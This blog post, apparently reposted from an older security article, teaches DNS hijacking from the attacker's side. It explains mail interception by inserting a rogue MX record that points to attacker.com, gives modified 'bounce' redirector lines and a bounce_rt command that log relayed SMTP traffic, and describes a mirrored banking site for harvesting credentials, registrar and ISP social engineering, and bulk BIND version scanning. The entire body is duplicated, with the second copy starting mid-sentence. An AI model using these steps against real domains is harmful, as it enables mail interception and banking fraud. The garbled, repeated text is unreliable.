DNS must be one of the most underrated services in terms of hacking. DNS is
most powerful. Let us look what can be done by only manipulating DNS. Let's
assume that I have full control of a domain's primary DNS server. For this
example we'll assume that the domain name is sensepost.com. Sensepost.com's
has two MX records; one marked as pri 10 - wips.sensepost.com and the other
pri 20 - winston.mtx.co.za. Let say for now that I insert another MX records
at pri 5- and point it to attacker.com. What would be the effect of this?
All mail to sensepost.comwould first travel to port 25 at attacker.com. At
attacker.comit can be read at leisure and then redirected to the MX 10
(wips.sensepost.com), and we won't know of any better. Sure, if one look at
the mail header it will show that the email is relayed through attacker.com,
but how many people check their mail header on a regular basis? How do we do
the actual redirect? A slightly modified version of "bounce" (a popular TCP
redirector program that is available for just about any platform) comes in
very handy. The program binds to a port and redirects any traffic from one
IP to a port on another IP. I have modified bouncein order to see the
actual traffic - line 75 is inserted and reads:
fprintf(stdout,"%s\n",stail);
and inserted line 83 reads:
fprintf(stdout,"%s\n",ctail);
so that all "server" and "client" data is written to the /var/log/messages
file (it is up to the reader to write nice parsing code to populate
individual mailboxes according the "RCPT TO:" field). The program is called
with the following parameters:
bounce_rt -a 160.124.19.98 -p 25 196.xxx.115.250 25
In above case my IP is 160.124.19.98 (the attacker.com) and 196.xxx.115.250
is the victim. SMTP traffic is seamlessly translated from me to the victim -
the only trace that the mail was intercepted is the mail header.
Things get more interesting where commerce sites are involved. Let us assume
that my victim has an Internet banking site. I completely mirror the site,
and point the DNS entry for the banking site to my IP number (where the
mirror is running). The site is a mirror save for the backend system - the
mirror replies with some kind of error, and the link to "please try again"
is pointing to the actual IP number of the real site. Sure - what about SSL
and server certificates you might say. And what about it? Do you REALLY
think that people notice when a connection is not SSL-secured? Maybe 10%
would - the rest would gladly enter their banking details on an open link.
My "fake" site would farm a whole lot of interesting data before anyone
would know the difference.
Another application for DNS hijacking would be abusing of trust
relationships. Any service that makes use of DNS names for authentication
can be tricked into allowing access to an attacker (provided that one also
controls the reverse DNS entries). Here I am thinking of any TCP wrapped
service, R-services and possibly even SSH.
How does one gain control over a primary DNS server? Maybe this is easier
than you would expect. Why would we want to take over the DNS server if we
can simply BE the primary DNS server? Remember when you registered your
domain? You needed to provide a primary and secondary DNS server (now-a-days
places like Register.comdoes that for you - but you still have the option
to change it). And there is some mechanism for you to change that - right?
(at Register.comis a username and a password) So - it would be possible for
me to change it - by basically convincing the system (be that human or
electronic) that I am you. And all of sudden a large portion of your IT
infrastructure and security hinges on a single username and password.
Another attack (that has been successfully carried out in the field many
times) is simple social engineering. Most corporates host their DNS service
at an ISP. Why bother to set up a primary DNS server and change DNS entries
on root servers if I can convince your ISP to make changes to your local
DNS? How does your ISP identify you? A telephone call? A fax? E-mail? All of
which can be spoofed. Even scarier. All of a sudden things move away from
high technology and hyper secure servers and we are down to more "meat"
things - and technology that was never intended to be used as security
devices.
Attacking the DNS service itself by using exploits is also an option.
Certain versions of the popular DNS service BINDfor Unix have known
exploits, and can be tricked into giving you a root account on the host. How
to find vulnerable DNS servers? There is the quick way, and the proper way
for bulk scanning. The quick way is to issue the command:
dig @ns.wasp.co.za version.bind chaos txt
would result in the output:
; <<>> DiG 8.3 <<>> @ns.wasp.co.za version.bind chaos txt
; (1 server found)
;; res options: init recurs defnam dnsrch
;; got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUERY SECTION:
;; version.bind, type = TXT, class = CHAOS
;; ANSWER SECTION:
VERSION.BIND. 0S CHAOS TXT "8.2.2-P5"
;; Total query time: 592 msec
;; FROM: wips.sensepost.com to SERVER: ns.wasp.co.za 196.31.211.1
;; WHEN: Tue Sep 19 16:27:43 2000
;; MSG SIZE sent: 30 rcvd: 63
note the part that says [VERSION.BIND. 0S CHAOS TXT "8.2.2-P5"]. This tells
us that ns.wasp.co.zais using BINDversion 8.2.2-p5 - a safe version (at
the time of writing :)) This method is a bit messy, but works fine if you
quickly want to check some version. A better way is to use VLAD. The script
in question is "dnsver.pl", a script that check the BINDversion, and report
if it is vulnerable or not:
> perl dnsver.pl -v ns.wasp.co.za
RAZOR BIND Scanner v1.0.1
By Robert Keyes (c) BindView Corporation
http://razor.bindview.com/tools/vlad/
Requires Net::DNS module from
http://cpan.valueclick.com/authors/id/M/MF/MFUHR/Net-DNS-0.12.tar.gz
Checking ns.wasp.co.za
Server Response: NOERROR
DNS Server Version: BIND 8.2.2-P5
The script only finds the BINDversion, and as such is non-intrusive. Using
this script with multiple IP numbers are very simple. Put the IP you wish to
check for in a file (assuming the file is called /tmp/ips) Execute the
following script, piping its output to your results file:
#!/usr/local/bin/tcsh
foreach a (`cat /tmp/ips`)
perl dnsver.pl -v $a
continue
end
By this time you should really be familiar with this type of script.
most powerful. Let us look what can be done by only manipulating DNS. Let's
assume that I have full control of a domain's primary DNS server. For this
example we'll assume that the domain name is sensepost.com. Sensepost.com's
has two MX records; one marked as pri 10 - wips.sensepost.com and the other
pri 20 - winston.mtx.co.za. Let say for now that I insert another MX records
at pri 5- and point it to attacker.com. What would be the effect of this?
All mail to sensepost.comwould first travel to port 25 at attacker.com. At
attacker.comit can be read at leisure and then redirected to the MX 10
(wips.sensepost.com), and we won't know of any better. Sure, if one look at
the mail header it will show that the email is relayed through attacker.com,
but how many people check their mail header on a regular basis? How do we do
the actual redirect? A slightly modified version of "bounce" (a popular TCP
redirector program that is available for just about any platform) comes in
very handy. The program binds to a port and redirects any traffic from one
IP to a port on another IP. I have modified bouncein order to see the
actual traffic - line 75 is inserted and reads:
fprintf(stdout,"%s\n",stail);
and inserted line 83 reads:
fprintf(stdout,"%s\n",ctail);
so that all "server" and "client" data is written to the /var/log/messages
file (it is up to the reader to write nice parsing code to populate
individual mailboxes according the "RCPT TO:" field). The program is called
with the following parameters:
bounce_rt -a 160.124.19.98 -p 25 196.xxx.115.250 25
In above case my IP is 160.124.19.98 (the attacker.com) and 196.xxx.115.250
is the victim. SMTP traffic is seamlessly translated from me to the victim -
the only trace that the mail was intercepted is the mail header.
Things get more interesting where commerce sites are involved. Let us assume
that my victim has an Internet banking site. I completely mirror the site,
and point the DNS entry for the banking site to my IP number (where the
mirror is running). The site is a mirror save for the backend system - the
mirror replies with some kind of error, and the link to "please try again"
is pointing to the actual IP number of the real site. Sure - what about SSL
and server certificates you might say. And what about it? Do you REALLY
think that people notice when a connection is not SSL-secured? Maybe 10%
would - the rest would gladly enter their banking details on an open link.
My "fake" site would farm a whole lot of interesting data before anyone
would know the difference.
Another application for DNS hijacking would be abusing of trust
relationships. Any service that makes use of DNS names for authentication
can be tricked into allowing access to an attacker (provided that one also
controls the reverse DNS entries). Here I am thinking of any TCP wrapped
service, R-services and possibly even SSH.
How does one gain control over a primary DNS server? Maybe this is easier
than you would expect. Why would we want to take over the DNS server if we
can simply BE the primary DNS server? Remember when you registered your
domain? You needed to provide a primary and secondary DNS server (now-a-days
places like Register.comdoes that for you - but you still have the option
to change it). And there is some mechanism for you to change that - right?
(at Register.comis a username and a password) So - it would be possible for
me to change it - by basically convincing the system (be that human or
electronic) that I am you. And all of sudden a large portion of your IT
infrastructure and security hinges on a single username and password.
Another attack (that has been successfully carried out in the field many
times) is simple social engineering. Most corporates host their DNS service
at an ISP. Why bother to set up a primary DNS server and change DNS entries
on root servers if I can convince your ISP to make changes to your local
DNS? How does your ISP identify you? A telephone call? A fax? E-mail? All of
which can be spoofed. Even scarier. All of a sudden things move away from
high technology and hyper secure servers and we are down to more "meat"
things - and technology that was never intended to be used as security
devices.
Attacking the DNS service itself by using exploits is also an option.
Certain versions of the popular DNS service BINDfor Unix have known
exploits, and can be tricked into giving you a root account on the host. How
to find vulnerable DNS servers? There is the quick way, and the proper way
for bulk scanning. The quick way is to issue the command:
dig @ns.wasp.co.za version.bind chaos txt
would result in the output:
; <<>> DiG 8.3 <<>> @ns.wasp.co.za version.bind chaos txt
; (1 server found)
;; res options: init recurs defnam dnsrch
;; got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUERY SECTION:
;; version.bind, type = TXT, class = CHAOS
;; ANSWER SECTION:
VERSION.BIND. 0S CHAOS TXT "8.2.2-P5"
;; Total query time: 592 msec
;; FROM: wips.sensepost.com to SERVER: ns.wasp.co.za 196.31.211.1
;; WHEN: Tue Sep 19 16:27:43 2000
;; MSG SIZE sent: 30 rcvd: 63
note the part that says [VERSION.BIND. 0S CHAOS TXT "8.2.2-P5"]. This tells
us that ns.wasp.co.zais using BINDversion 8.2.2-p5 - a safe version (at
the time of writing :)) This method is a bit messy, but works fine if you
quickly want to check some version. A better way is to use VLAD. The script
in question is "dnsver.pl", a script that check the BINDversion, and report
if it is vulnerable or not:
> perl dnsver.pl -v ns.wasp.co.za
RAZOR BIND Scanner v1.0.1
By Robert Keyes (c) BindView Corporation
http://razor.bindview.com/tools/vlad/
Requires Net::DNS module from
http://cpan.valueclick.com/authors/id/M/MF/MFUHR/Net-DNS-0.12.tar.gz
Checking ns.wasp.co.za
Server Response: NOERROR
DNS Server Version: BIND 8.2.2-P5
The script only finds the BINDversion, and as such is non-intrusive. Using
this script with multiple IP numbers are very simple. Put the IP you wish to
check for in a file (assuming the file is called /tmp/ips) Execute the
following script, piping its output to your results file:
#!/usr/local/bin/tcsh
foreach a (`cat /tmp/ips`)
perl dnsver.pl -v $a
continue
end
By this time you should really be familiar with this type of script.
No comments:
Post a Comment